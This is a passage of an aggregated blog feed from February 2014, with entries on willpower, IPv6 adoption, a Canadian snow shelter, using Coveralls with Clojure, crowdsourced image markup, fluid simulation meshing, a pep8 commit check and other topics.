&lt;p&gt;When we “eat a hot dog”, or simply do something for the current moment there is reward that we feel. “Mmm, yeah, that feels goood”. We need certain amount of it from time to time. If we deny ourselves the “oh yeah” then we feel regret. Doing something, that  favors long term interests like abstaining from eating a  hot dog can be really hard if one regrets it and very if easy if one doesnt care, or is commited to a longer term goal in advance.&lt;/p&gt;

&lt;p&gt;I don’t think there is a simple model like “willpower is a limited resources that we spend like we spend money”, or “there is a certain amount of short term primal fun that we need on a regular basis”, or “we switch between long term and short term decision making through the day”, that describes accurately our decision making. But still, I think there is value in being thoughtful about how we make our decisions.&lt;/p&gt;</description><author>D13V</author><pubDate>Tue, 18 Feb 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2014/02/18/eating-hot-dogs</guid></item><item><title>IPv6 Gets Real</title><link>https://www.danstroot.com/posts/2014-02-18-IPv6-gets-real</link><description>&lt;img alt="post image" src="https://danstroot.imgix.net/assets/blog/img/IPv6-google.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;Google’s IPv6 measurements crossed the 3% milestone just under five months from when the 2% milestone was crossed.  Prior to that it had taken 11 months to go from 1% to 2%.  &lt;br /&gt;&lt;br /&gt;This post &lt;a href="https://www.danstroot.com/posts/2014-02-18-IPv6-gets-real"&gt;IPv6 Gets Real&lt;/a&gt; first appeared on &lt;a href="https://www.danstroot.com"&gt;Dan Stroot's Blog&lt;/a&gt;</description><author>Dan Stroot</author><pubDate>Tue, 18 Feb 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.danstroot.com/posts/2014-02-18-IPv6-gets-real</guid></item><item><title>Raw materials</title><link>http://mattgemmell.com/raw-materials</link><description>&lt;p&gt;If not the best, for even as I type this I have likely forgotten someone, then Matt Gemmell easily comes in as by far and away one of the greatest writer I have the continued privilege of reading, and one of my favorite as well. Aside from that praise, I have little to say with regards to his latest article: words fail me, and no commendation could do it justice. I am awestruck.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://mattgemmell.com/raw-materials"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 18 Feb 2014 00:01:48 GMT</pubDate><guid isPermaLink="true">http://mattgemmell.com/raw-materials</guid></item><item><title>Building a snow shelter</title><link>https://purpleidea.com/blog/2014/02/17/building-a-snow-shelter/</link><description>&lt;p&gt;To give you a break from the usual GNU/Linux/DevOps/Puppet/GlusterFS drab, I&amp;rsquo;ve decided to have a go at writing a &lt;em&gt;different&lt;/em&gt; kind of technical article. This article will show you how to build the traditional &lt;a href="https://en.wikipedia.org/wiki/Canada"&gt;Canadian&lt;/a&gt; snow dwelling known as a &lt;a href="https://en.wikipedia.org/wiki/Quinzee"&gt;quinzee&lt;/a&gt;. If you will be travelling to Canada, I recommended that you read through this article ahead of time, so that you don&amp;rsquo;t offend your host by being unfamiliar with their traditional living accommodations.&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Mon, 17 Feb 2014 20:23:27 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2014/02/17/building-a-snow-shelter/</guid></item><item><title>The Amazon Rorschach blot</title><link>http://ben-evans.com/benedictevans/2014/2/11/the-amazon-rorschach-blot</link><description>&lt;p&gt;I personally consider Amazon the former: &amp;#8220;a brilliant company investing every penny of cash in building the future&amp;#8221;. Benedict&amp;#8217;s graph seems to support this theory: as revenue increases net income remains approximately zero; where did all that money go if not to infrastructure? Especially given the alternative that paints Amazon as &amp;#8220;a Ponzi scheme doomed to collapse&amp;#8221;&amp;#160;&amp;#8212;&amp;#160;completely ridiculous and utterly juvenile&amp;#160;&amp;#8212;&amp;#160;I find any argument discussing the future of technology and computing ignoring Amazon&amp;#8217;s place in that narrative lacking to the point of irrelevance. Rather than asking &amp;#8220;what&amp;#8221; Amazon is, we ought to ask &amp;#8220;when&amp;#8221; we will finally see Amazon realize the potential it has been building to all these years.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://ben-evans.com/benedictevans/2014/2/11/the-amazon-rorschach-blot"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 17 Feb 2014 09:35:27 GMT</pubDate><guid isPermaLink="true">http://ben-evans.com/benedictevans/2014/2/11/the-amazon-rorschach-blot</guid></item><item><title>The Neat and Out of Scope Newsletter &amp;amp;#35;5</title><link>http://eepurl.com/N8Dj9</link><description>&lt;p&gt;Did you know that I write a weekly newsletter collecting cool articles and code projects from around the web? Because I do, and I think it&amp;#8217;s pretty cool; won&amp;#8217;t you consider signing up? If you need some extra encouragement, how about checking out the past four issues before subscribing? Because you can, just head over to the &lt;a href="http://bit.ly/1gFx2vZ"&gt;campaign archive page&lt;/a&gt;. The fifth issue just went out a few minutes ago. Hopefully, next Sunday the sixth will go out to you as well.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://eepurl.com/N8Dj9"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 16 Feb 2014 12:27:14 GMT</pubDate><guid isPermaLink="true">http://eepurl.com/N8Dj9</guid></item><item><title>[2.16.14] 30 Lb Battlebot: Atomic Bumble Prime</title><link>https://transistor-man.com/atomic_bumble_prime.html</link><description>Build log of a haistly thrown together battlebot</description><author>transistor-man.com</author><pubDate>Sun, 16 Feb 2014 10:38:38 GMT</pubDate><guid isPermaLink="true">https://transistor-man.com/atomic_bumble_prime.html</guid></item><item><title>Interviewing</title><link>https://www.craigpardey.com/post/2014-02-16-interviewing/</link><description>&lt;p&gt;I&amp;rsquo;ve been interviewing candidates quite a bit lately and I must admit that I
quite enjoy the process. I get to meet new people and learn about how they
work, and things they&amp;rsquo;ve worked on, and about technologies that I haven&amp;rsquo;t used
or haven&amp;rsquo;t heard of.&lt;/p&gt;
&lt;p&gt;At Intelliware we usually conduct two separate interviews: the first is a
personality/fit interview intended to answer the questions, &amp;ldquo;Can we work with
this person, and would they be happy here?&amp;rdquo;. The second interview assesses
their technical chops.&lt;/p&gt;</description><author>Craig Pardey</author><pubDate>Sun, 16 Feb 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.craigpardey.com/post/2014-02-16-interviewing/</guid></item><item><title>Just in time</title><link>https://nindalf.com/posts/just-in-time/</link><description>Rita's life takes an unexpected turn when she realizes she has been living in a care facility for years and has forgotten everything about her past.</description><author>Krishna's blog</author><pubDate>Sun, 16 Feb 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nindalf.com/posts/just-in-time/</guid></item><item><title>Performance of compound object operations in Ceph (part 1)</title><link>https://makedist.com/posts/2014/02/16/performance-of-compound-object-operations-in-ceph-part-1/</link><description>We can combine operations on Ceph objects, but should we?</description><author>Noah Watkins</author><pubDate>Sun, 16 Feb 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://makedist.com/posts/2014/02/16/performance-of-compound-object-operations-in-ceph-part-1/</guid></item><item><title>Using Coveralls with Clojure</title><link>https://bfontaine.net/2014/02/15/using-coveralls-with-clojure/</link><description>&lt;p&gt;&lt;a href="https://coveralls.io/"&gt;&lt;strong&gt;Coveralls&lt;/strong&gt;&lt;/a&gt; is a service that keep track of your tests coverage
for you. It can notifies you when your coverage decreases under a custom
threshold, and their bot comments on pull requests to report their tests
coverage. Like Travis-CI, it allows you to add a badge to your readme with
an up-to-date tests coverage percentage.&lt;/p&gt;

&lt;p&gt;If you already test your GitHub projects with a CI server like Travis, it’s
very easy to add Coveralls to your workflow. Unfortunately, they have a library
for Ruby, a couple user-provided libraries for other languages such as PHP,
Java and Python, but nothing for Clojure. Fortunately, they provide an API for
unsupported languages like Clojure. Here is how to use it.&lt;/p&gt;

&lt;h2 id="cloverage"&gt;Cloverage&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://github.com/lshift/cloverage"&gt;&lt;strong&gt;Cloverage&lt;/strong&gt;&lt;/a&gt; is a Clojure library and a Leiningen plugin to get
form-level tests coverage of your projects. It’s dead easy to use and generates
HTML reports for you as well as some other formats.&lt;/p&gt;

&lt;p&gt;Add their plugin to your &lt;code class="language-plaintext highlighter-rouge"&gt;project.clj&lt;/code&gt;:&lt;/p&gt;

&lt;div class="language-clj highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;defproject&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;your-project&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"0.1.0"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="c1"&gt;; ...&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="no"&gt;:plugins&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[[&lt;/span&gt;&lt;span class="n"&gt;lein-cloverage&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"1.0.2"&lt;/span&gt;&lt;span class="p"&gt;]])&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Use &lt;code class="language-plaintext highlighter-rouge"&gt;lein cloverage&lt;/code&gt; to run your tests and generate various reports. You can
specify which Cloverage version you want to use with &lt;code class="language-plaintext highlighter-rouge"&gt;CLOVERAGE_VERSION&lt;/code&gt;. The
latest stable one is &lt;code class="language-plaintext highlighter-rouge"&gt;1.0.3&lt;/code&gt;, but we’ll need to use &lt;code class="language-plaintext highlighter-rouge"&gt;1.0.4-SNAPSHOT&lt;/code&gt; for this
article:&lt;/p&gt;

&lt;div class="language-sh highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="nv"&gt;CLOVERAGE_VERSION&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1.0.4-SNAPSHOT lein cloverage
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id="coveralls"&gt;Coveralls&lt;/h2&gt;

&lt;p&gt;If you don’t already use it, &lt;a href="https://coveralls.io/authorize/github"&gt;signup&lt;/a&gt; on Coveralls using your GitHub account.
Then, click on “Add Repo”, find your repo in the list and activate it. That’s
all you have to do on their website for now.&lt;/p&gt;

&lt;h2 id="travis-ci"&gt;Travis CI&lt;/h2&gt;

&lt;p&gt;You now need to custom your builds on Travis to use Coveralls. We’ll do it in a
Bash script, so add this to your &lt;code class="language-plaintext highlighter-rouge"&gt;.travis.yml&lt;/code&gt;:&lt;/p&gt;

&lt;div class="language-yaml highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="na"&gt;after_script&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;bash -ex test/coveralls.sh&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This tells Travis to run &lt;code class="language-plaintext highlighter-rouge"&gt;test/coveralls.sh&lt;/code&gt; after each build. We use Bash
options &lt;code class="language-plaintext highlighter-rouge"&gt;-e&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;-x&lt;/code&gt; to respectively stop the script at the first failure and
print each command.&lt;/p&gt;

&lt;p&gt;Now edit &lt;code class="language-plaintext highlighter-rouge"&gt;test/coveralls.sh&lt;/code&gt; and add the following content:&lt;/p&gt;

&lt;div class="language-bash highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="nv"&gt;COVERALLS_URL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'https://coveralls.io/api/v1/jobs'&lt;/span&gt;
&lt;span class="nv"&gt;CLOVERAGE_VERSION&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'1.0.4-SNAPSHOT'&lt;/span&gt; lein2 cloverage &lt;span class="nt"&gt;-o&lt;/span&gt; cov &lt;span class="nt"&gt;--coveralls&lt;/span&gt;
curl &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s1"&gt;'json_file=@cov/coveralls.json'&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$COVERALLS_URL&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It’ll run Cloverage and output reports in &lt;code class="language-plaintext highlighter-rouge"&gt;cov&lt;/code&gt; (use another name if you
prefer), using a report for Coveralls. This generates a &lt;code class="language-plaintext highlighter-rouge"&gt;coveralls.json&lt;/code&gt; file
which can then be sent to their API. That’s what we do on the next line, using
cURL.&lt;/p&gt;

&lt;p&gt;That’s all! You can now push on GitHub, Travis will run your tests and send
their tests coverage to Coveralls.&lt;/p&gt;

&lt;h2 id="caveats"&gt;Caveats&lt;/h2&gt;

&lt;p&gt;Coveralls doesn’t support partial-line tests coverage, so we’re cheating a
little bit here using hits count. A line that it never covered has 0 hits, one
that is partially covered has one hit, and a fully covered one has two hits.
There’s &lt;a href="https://github.com/lemurheavy/coveralls-public/issues/216"&gt;an open issue&lt;/a&gt; regarding this.&lt;/p&gt;</description><author>Baptiste Fontaine’s Blog</author><pubDate>Sat, 15 Feb 2014 15:29:00 GMT</pubDate><guid isPermaLink="true">https://bfontaine.net/2014/02/15/using-coveralls-with-clojure/</guid></item><item><title>Building a web-based image markup system</title><link>https://jonathanchang.org/blog/building-a-web-based-image-markup-system/</link><description>&lt;p&gt;&lt;img alt="Turker working on an iPad" src="/uploads/2014/02/ipad.jpg" /&gt;&lt;/p&gt;
  &lt;p&gt;A web-based service like Amazon Mechanical Turk needs a web-based interface for turkers to crowdsource data on fish shape. Existing software to digitize images requires a separate download, and most of it runs only on Windows. Distributing this software to hundreds of crowdsourced workers and ensuring it works on their computers can be quite a challenging task.&lt;/p&gt;
  &lt;p&gt;To that end, we’ve had to develop an image digitization interface using only technologies that work in your browser. Specifically, we use the HTML5 &lt;code&gt;canvas&lt;/code&gt; element, which is flexible enough to allow arbitrary graphics to be drawn in your browser window, but also gives us the power to use Javascript to record the marks that turkers then submit to our servers.&lt;/p&gt;
  &lt;p&gt;The elegance of using the web as a platform to drive our crowdsourcing effort is that as long as you have a way to browse the internet, you should be able to contribute your work to our research. Our interface is agnostic to technology choice: we’ve tested it on an iPad and it works quite well.&lt;/p&gt;
  &lt;p&gt;&lt;a href="https://jonchang.github.io/eol-mturk-landmark/"&gt;Click here&lt;/a&gt; to see what the interface looks like, or &lt;a href="https://github.com/jonchang/eol-mturk-landmark/"&gt;visit GitHub&lt;/a&gt; to peek at the source code.&lt;/p&gt;
  &lt;p&gt;&lt;em&gt;Up next: &lt;a href="/blog/how-accurate-are-crowdsourced-morphometricians/"&gt;I discuss the accuracy of crowdsourced landmarks&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;</description><author>Jonathan Chang</author><pubDate>Fri, 14 Feb 2014 22:11:35 GMT</pubDate><guid isPermaLink="true">https://jonathanchang.org/blog/building-a-web-based-image-markup-system/</guid></item><item><title>Good Writing</title><link>https://zacs.site/blog/good-writing.html</link><description>&lt;p&gt;I hate to be &amp;#8220;that guy&amp;#8221; who takes to his website after a Twitter exchange goes south, but it seems I am becoming him more and more with each passing day. A few weeks ago after Zac Cichy and I disagreed on using mute filters to block uninteresting content, I wrote &lt;a href="https://zacs.site/blog/in-defense-of-muting.html"&gt;&lt;em&gt;In Defense of Muting&lt;/em&gt;&lt;/a&gt;; today, this article comes hot on the heels of a debate Glenn Fleishman and I almost had after he rejected an article Linus Edwards submitted to The Magazine as &amp;#8220;too vague and too broad for [them] to consider.&amp;#8221; I won&amp;#8217;t rehash the entire conversation here, but if you so desire you may read it starting with &lt;a href="https://twitter.com/LinusEdwards/status/434131381732769792"&gt;Linus&amp;#8217;s tweet&lt;/a&gt;. Rather, I took a break from House of Cards to talk a bit about good writing.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/good-writing.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 14 Feb 2014 18:34:47 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/good-writing.html</guid></item><item><title>All Ahead Full</title><link>https://etodd.io/2014/02/14/all-ahead-full/</link><description>&lt;p&gt;Progress report. Sir, we have inbound screenshots from the first two weeks of full-time development. Bearing zero nine five, range three hundred. Prepare countermeasures.&lt;/p&gt;
&lt;p&gt;I added motion blur around the screen edges when the player is at their maximum speed:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://etodd.io/assets/tlvs9YL.jpg"&gt;&lt;img alt="" class="full" src="https://etodd.io/assets/tlvs9YLl.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The phone has returned, but now it's in full 3D glory:&lt;/p&gt;
&lt;p style="text-align: center;"&gt;&lt;a href="https://etodd.io/assets/WkA0X3t.jpg"&gt;&lt;img alt="" class="full" src="https://etodd.io/assets/WkA0X3tl.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Some parts of the levels now build up dynamically when the player reaches them. &lt;div class="video"&gt;&lt;video loop="loop"&gt;&lt;source src="https://etodd.io/assets/FatherlyBitesizedBluetickcoonhound.mp4" /&gt;&lt;/video&gt;&lt;/div&gt;&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Fri, 14 Feb 2014 15:32:27 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2014/02/14/all-ahead-full/</guid></item><item><title>The Hunger Games: Catching Fire</title><link>https://olshansky.info/movie/the_hunger_games_catching_fire/</link><description>Olshansky's review of The Hunger Games: Catching Fire</description><author>🦉 olshansky 🦁</author><pubDate>Fri, 14 Feb 2014 15:02:16 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/the_hunger_games_catching_fire/</guid></item><item><title>Microsoft's Mobile Muddle</title><link>http://stratechery.com/2014/microsofts-mobile-muddle/</link><description>&lt;p&gt;I cited this quote &lt;a href="https://twitter.com/zacjszewczyk/status/434380340157616128"&gt;on Twitter&lt;/a&gt; and I&amp;#8217;ll do so again here: &amp;#8220;Saying &amp;#8216;Microsoft missed mobile&amp;#8217; is a bit unfair ... Not that that should make Satya Nadella sleep any better at night.&amp;#8221; I love this, and I found the rest of Ben&amp;#8217;s article on Microsoft&amp;#8217;s mobility saga very interesting as well. This is Strat&amp;#275;chery at its best, folks; great work by Ben Thompson, as usual.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://stratechery.com/2014/microsofts-mobile-muddle/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 14 Feb 2014 14:52:13 GMT</pubDate><guid isPermaLink="true">http://stratechery.com/2014/microsofts-mobile-muddle/</guid></item><item><title>Insanity</title><link>https://zacs.site/blog/insanity.html</link><description>&lt;p&gt;Over the last month every time I sat down to write, all throughout the editing process, and even after I finally washed my hands of an article and published it, I would think back to a curious analogy I happened upon a few weeks ago while writing a particularly long and challenging piece. As I wrestled to clearly and with great concision convey my thoughts in that since-forgotten post, I realized that writing&amp;#160;&amp;#8212;&amp;#160;for all its apparent ease&amp;#160;&amp;#8212;&amp;#160;is every bit as hard as the most intense of physical exercises. Obviously in a slightly different way, using another set of muscles, but just as difficult nonetheless.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/insanity.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 14 Feb 2014 14:27:13 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/insanity.html</guid></item><item><title>Eve 0.3 Released</title><link>https://nicolaiarocci.com/eve-0-3-released/</link><description>&lt;p&gt;&lt;a href="http://python-eve.org"&gt;&lt;!-- raw HTML omitted --&gt;&lt;/a&gt;Today we released &lt;a href="https://pypi.python.org/pypi/Eve"&gt;Eve v0.3&lt;/a&gt;. It includes customizable Files Storage support (on GridFS by default), a lot of fixes, several breaking changes and a lot of love. Head over to relevant &lt;a href="http://blog.python-eve.org/eve-03-released"&gt;blog post&lt;/a&gt; and/or to &lt;a href="http://python-eve.org/changelog.html"&gt;changelog&lt;/a&gt; to know more about it.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Fri, 14 Feb 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/eve-0-3-released/</guid></item><item><title>PIC/FLIP Simulator Meshing Pipeline</title><link>https://blog.yiningkarlli.com/2014/02/flip-meshing-pipeline.html</link><description>&lt;p&gt;In my last post, I gave a summary of how the core of my new PIC/FLIP fluid simulator works and gave some thoughts on the process of building OpenVDB into my simulator. In this post I’ll go over the meshing and rendering pipeline I worked out for my simulator.&lt;/p&gt;

&lt;p&gt;Two years ago, when my friend &lt;a href="http://www.danknowlton.com/"&gt;Dan Knowlton&lt;/a&gt; and I built our semi-Lagrangian fluid simulator, we had an immense amount of trouble with finding a good meshing and rendering solution. We used a standard marching cubes implementation to construct a mesh from the fluid levelset, but the meshes we wound up with had a lot of flickering issues. The flickering was especially apparent when the fluid had to fit inside of solid boundaries, since the liquid-solid interface wouldn’t line up properly. On top of that, we rendered the fluid using Vray, but relied on a irradiance map + light cache approach that wasn’t very well suited for high motion and large amounts of refractive fluid.&lt;/p&gt;

&lt;p&gt;This time around, I’ve tried to build a new meshing/rendering pipeline that resolves those problems. My new meshing/rendering pipeline produces stable, detailed meshes that fit correctly into solid boundaries, all with minimal or no flickering. The following video is the same “dambreak” test from my previous test, but fully meshed and rendered using Vray:&lt;/p&gt;

&lt;div class="embed-container"&gt;PIC/FLIP Simulator Dam Break Test- Final Render&lt;/div&gt;

&lt;p&gt;One of the main issues with the old meshing approach was that marching cubes was run directly on the same level set we were using for the simulation, which meant that the resolution of the final mesh was effectively bound to the resolution of the fluid. In a pure semi-Lagrangian simulator, this coupling makes sense, however, in a PIC/FLIP simulator, the resolution of the simulator is dependent on the particle count and not the projection step grid resolution. This property means that even on a simulation with a grid size of 128x64x64, extremely high resolution meshes should be possible if there are enough particles, as long as a level set was constructed directly from the particles completely independently of the projection step grid dimensions.&lt;/p&gt;

&lt;p&gt;Fortunately, OpenVDB comes with an enormous toolkit that includes tools for constructing level sets from various type of geometry, including particles, and tools for adaptive level set meshing. OpenVDB also comes with a number of level set operators that allow for artistic tuning of level sets, such as tools for dilating, eroding, and smoothing level set. At the SIGGRAPH 2013 OpenVDB course, &lt;a href="http://www.openvdb.org/download/openvdb_dreamworks.pdf"&gt;Dreamworks had a presentation&lt;/a&gt; on how they used OpenVDB’s level set operator tools to extract really nice looking, detailed fluid meshes from relatively low resolution simulations. I also integrated Walt Disney Animation Studios’ &lt;a href="http://www.disneyanimation.com/technology/partio.html"&gt;Partio&lt;/a&gt; library for exporting particle data to standard formats so that I could get particles, level sets, and meshes.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2014/Feb/adaptivemeshing.png"&gt;&lt;img alt="Zero adaptive meshing (on the left) versus adaptive meshing with 0.5 adaptivity (on the right). Note the significantly lower poly count in the adaptive meshing, but also the corresponding loss of detail in the mesh." src="https://blog.yiningkarlli.com/content/images/2014/Feb/adaptivemeshing.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I started by building support for OpenVDB’s adaptive level set meshing directly into my simulator and dumping out OBJ sequences straight to disk. In order to save disk space, I enabled fairly high adaptivity in the meshing. However, upon doing a first render test, I discovered a problem: since OpenVDB’s adaptive meshing optimizes the adaptivity per frame, the result is not temporally coherent with respect to mesh resolution. By itself this property is not a big deal, but it makes reconstructing temporally coherent normals difficult, which can contribute to flickering in final rendering. So, I decided that disk space was not as big deal and just disabled adaptivity in OpenVDB’s meshing for smaller simulations; in sufficiently large sims, the scale of the final render more often than not will make normal issues far less important and disk resource demands become much greater, so the tradeoffs of adaptivity become more worthwhile.&lt;/p&gt;

&lt;p&gt;The next problem was getting a stable, fitted liquid-solid interface. Even with a million particles and a 1024x512x512 level set driving mesh construction, the produced fluid mesh still didn’t fit the solid boundaries of the sim precisely. The reason is simple: level set construction from particles works by treating each particle as a sphere with some radius and then unioning all of the spheres together. The first solution I thought of was to dilate the level set and then difference it with a second level set of the solid objects in the scene. Since Houdini has full OpenVDB support and I wanted to test this idea quickly with visual feedback, I prototyped this step in Houdini instead of writing a custom tool from scratch. This approach wound up not working well in practice. I discovered that in order to get a clean result, the solid level set needed to be extremely high resolution to capture all of the detail of the solid boundaries (such as sharp corners). Since the output levelset from VDB’s difference operator has to match the resolution of the highest resolution input, that meant the resultant liquid level set was also extremely high resolution. On top of that, the entire process was extremely slow, even on smaller grids.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2014/Feb/edgecleanup.png"&gt;&lt;img alt="The mesh on the left has a cleaned up, stable liquid-solid interface. The mesh on the right is the same mesh as the one on the left, but before going through cleanup." src="https://blog.yiningkarlli.com/content/images/2014/Feb/edgecleanup.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The solution I wound up using was to process the mesh instead of the level set, since the mesh represents significantly less data and at the end of the day the mesh is what we want to have a clean liquid-solid interface. The solution is from every vertex in the liquid mesh, raycast to find the nearest point on the solid boundary to each vertex (this can be done either stochastically, or a level set version of the solid boundary can be used to inform a good starting direction). If the closest point on the solid boundary is within some epsilon distance of the vertex, move the vertex to be at the solid boundary. Obviously, this approach is far simpler than attempting to difference level sets, and it works pretty well. I prototyped this entire system in Houdini.&lt;/p&gt;

&lt;p&gt;For rendering, I used Vray’s ply2mesh utility to dump the processed fluid meshes directly to .vrmesh files and rendered the result in Vray using pure brute force pathtracing to avoid flickering from temporally incoherent irradiance caching. The final result is the video at the top of this post!&lt;/p&gt;

&lt;p&gt;Here are some still frames from the same simulation. The video was rendered with motion blur, these stills do not have any motion blur.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2014/Feb/dambreak.0105.png"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2014/Feb/dambreak.0105.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2014/Feb/dambreak.0149.png"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2014/Feb/dambreak.0149.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2014/Feb/dambreak.0200.png"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2014/Feb/dambreak.0200.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2014/Feb/dambreak.0236.png"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2014/Feb/dambreak.0236.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2014/Feb/dambreak.0440.png"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2014/Feb/dambreak.0440.png" /&gt;&lt;/a&gt;&lt;/p&gt;</description><author>Code &amp;amp; Visuals</author><pubDate>Fri, 14 Feb 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.yiningkarlli.com/2014/02/flip-meshing-pipeline.html</guid></item><item><title>Opera is really nice</title><link>https://tomforb.es/blog/opera-is-really-nice/</link><description>I really like the Opera browser. A couple of months ago I got a bit tired of using Google Chrome, it was just a bit sluggish sometimes and I fancied a change. So I switched to Firefox, which I enjoyed using for a month or so until it too became irksome - it used a hell of a lot of memory and was als...</description><author>Tom Forbes</author><pubDate>Thu, 13 Feb 2014 17:32:03 GMT</pubDate><guid isPermaLink="true">https://tomforb.es/blog/opera-is-really-nice/</guid></item><item><title>Python pep8 git commit check</title><link>https://boyter.org/2014/02/python-pep8-git-commit-check/</link><description>&lt;p&gt;Without adding a git commit hook I wanted to be able to check if my Python code conformed to pep8 standards before committing anything. Since I found the command reasonably useful I thought I would post it here.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git status -s -u | grep '\.py$' | awk '{split($0,a,&amp;quot; &amp;quot;); print a[2]}' | xargs pep8
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Just run the above in your projects directory. It&amp;rsquo;s fairly simple but quite effective at ensuring your Python code becomes cleaner ever time you commit to the repository. The nice thing about it is that it only checks files you have modified, allowing you to slowly clean up existing code bases.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Thu, 13 Feb 2014 07:34:17 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2014/02/python-pep8-git-commit-check/</guid></item><item><title>Regarding the Zombie Apocalypse</title><link>https://boyter.org/2014/02/zombie-apocalypse/</link><description>&lt;p&gt;This piece of content is taken from a comment I left on the &lt;a href="http://techzinglive.com/page/1033/180-tz-discussion-simulating-the-zombie-apocalypse#comment-8437"&gt;TechZing podcast blog&lt;/a&gt;. I should note I have not even begun to explore issues such as what happens to a zombie in extreme heat or cold. Of course much of the below can be disregarded if the zombie virus is airborne, but this assumes the standard zombie canon of being spread through bites.&lt;/p&gt;
